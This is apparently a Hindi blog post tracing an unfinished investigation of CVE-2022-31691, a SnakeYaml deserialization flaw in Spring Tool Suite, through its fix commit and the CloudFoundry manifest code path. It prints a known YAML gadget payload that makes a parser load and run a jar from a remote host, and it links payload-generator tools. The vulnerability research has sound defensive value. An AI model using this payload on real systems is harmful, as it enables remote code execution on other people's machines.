
CVE-2022-31691 पर मेरी (अभी तक अनिर्णायक) जाँच का एक विवरण
CVE-2022-31691 में मेरी (अब तक अनिर्णायक) जाँच का विवरण।
मैं Eclipse के लिए Spring Tool Suite (STS) का नियमित उपयोगकर्ता हूँ, और नए Spring Boot प्रोजेक्ट आरंभ करने के लिए उस पर निर्भर रहता हूँ। यह भेद्यता (देखें https://tanzu.vmware.com/security/cve-2022-31691) एक RCE है जो yaml कॉन्फ़िगरेशन फ़ाइल से सामग्री को असुरक्षित रूप से लोड करने के माध्यम से उत्पन्न की जा सकती है।
SnakeYaml Java के लिए एक बहुत ही सामान्य yaml पार्सर और एमिटर है। हालाँकि, किसी भी marshalling/unmarshalling प्रक्रिया की तरह, यहाँ हमेशा जोखिम रहता है कि अवांछित सामग्री सीधे मेमोरी में लोड हो सकती है। SnakeYaml भी इससे अलग नहीं है - देखें https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial।
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
इसे ध्यान में रखते हुए, प्रोजेक्ट मेंटेनर्स ने एक SafeConstructor विधि जोड़ी:
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
इसका तर्क काफी स्पष्ट है, लेकिन इस सलाह का स्पष्ट रूप से पालन नहीं किया जा रहा है। असुरक्षित लोडिंग प्रथाओं के उदाहरण देखने के लिए आपको दूर जाने की आवश्यकता नहीं है। यहाँ तक कि Baeldung (Spring पर जानकारी का एक बेहतरीन स्रोत) भी अपनी गाइड में इसका उल्लेख करने में विफल रहता है:
इसका शोषण करने के लिए, मुझे इस कंस्ट्रक्टर से एक ऐसी वस्तु को unmarshall करवाना होगा जिस पर मेरा नियंत्रण हो। सौभाग्य से, दूसरों ने पहले ही यहाँ मेहनत कर ली है। https://github.com/artsploit/yaml-payload SnakeYaml शोषण पेलोड उत्पन्न करने के लिए एक बहुत ही सरल प्रोजेक्ट है, जैसे https://github.com/mbechler/marshalsec। इसका तर्क है:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
यह भेद्यता STS संस्करण 4.16.1 में ठीक कर दी गई थी। इस संस्करण के कमिट्स पर एक त्वरित नज़र इस बात के कुछ उपयोगी संकेत देती है कि क्या ठीक किया गया था - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
इस कमिट पर दिया गया संदेश - "Use SafeConstructor in Snakeyaml YAML constructors" इस बात का अच्छा संकेत है कि क्या ठीक किया गया है।
बिल्कुल, यहाँ वह स्थान है जहाँ SafeConstructor प्रतिस्थापित किया गया है।
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
यदि मैं इसका शोषण करने में रुचि रखता हूँ, तो मुझे इस SnakeYaml कंस्ट्रक्टर में कुछ दुर्भावनापूर्ण सामग्री डालनी होगी, इसलिए मुझे यह पता लगाना होगा कि इसे कहाँ से कॉल किया जाता है।
SnakeYaml ऑब्जेक्ट निर्माण को InputStream ऑब्जेक्ट फीड किया जाता है, जो getInputStream() विधि द्वारा बनाया जाता है।
getInputStream() यह निर्धारित करने के लिए getManifestFile() को कॉल करता है कि कौन सी manifest फ़ाइल लोड करनी है।
getManifestFile() या तो manifest फ़ाइल का स्थान लौटाता है (यदि कंस्ट्रक्टर में निर्दिष्ट है), या null लौटाता है।
ApplicationManifestHandler क्लास CloudFoundryBootDashModel क्लास में यहाँ प्रारंभ की जाती है, और उसे एक मान पारित किया जाता है जो resolveDeploymentProperties विधि के लिए कंस्ट्रक्टर में निर्धारित मान से व्युत्पन्न होता है यहाँ।
मुझे पूरा यकीन है कि मुझे कुछ CloudFoundry कॉन्फ़िगरेशन स्थापित करने की आवश्यकता है ताकि यह मेरी दुर्भावनापूर्ण manifest.yml फ़ाइल को लोड/कॉल करने का प्रयास करे।
पता चला है कि CloudFoundry एक मरती हुई तकनीक है, (मेरी धारणा है) Kubernetes और इसी तरह की चीज़ों के कारण। मुझे CF कनेक्शन बनाने के लिए किसी भी प्रकार का सार्वजनिक प्लेटफ़ॉर्म नहीं मिल रहा है, इसलिए मैं यहाँ से वास्तव में चीज़ों का परीक्षण नहीं कर सकता।
CloudFoundry का एक स्थानीय डेवलपमेंट इंस्टेंस चालू करने पर विचार करें, भले ही केवल भेद्यता और शोषण के बारे में मेरी समझ का परीक्षण करने के लिए।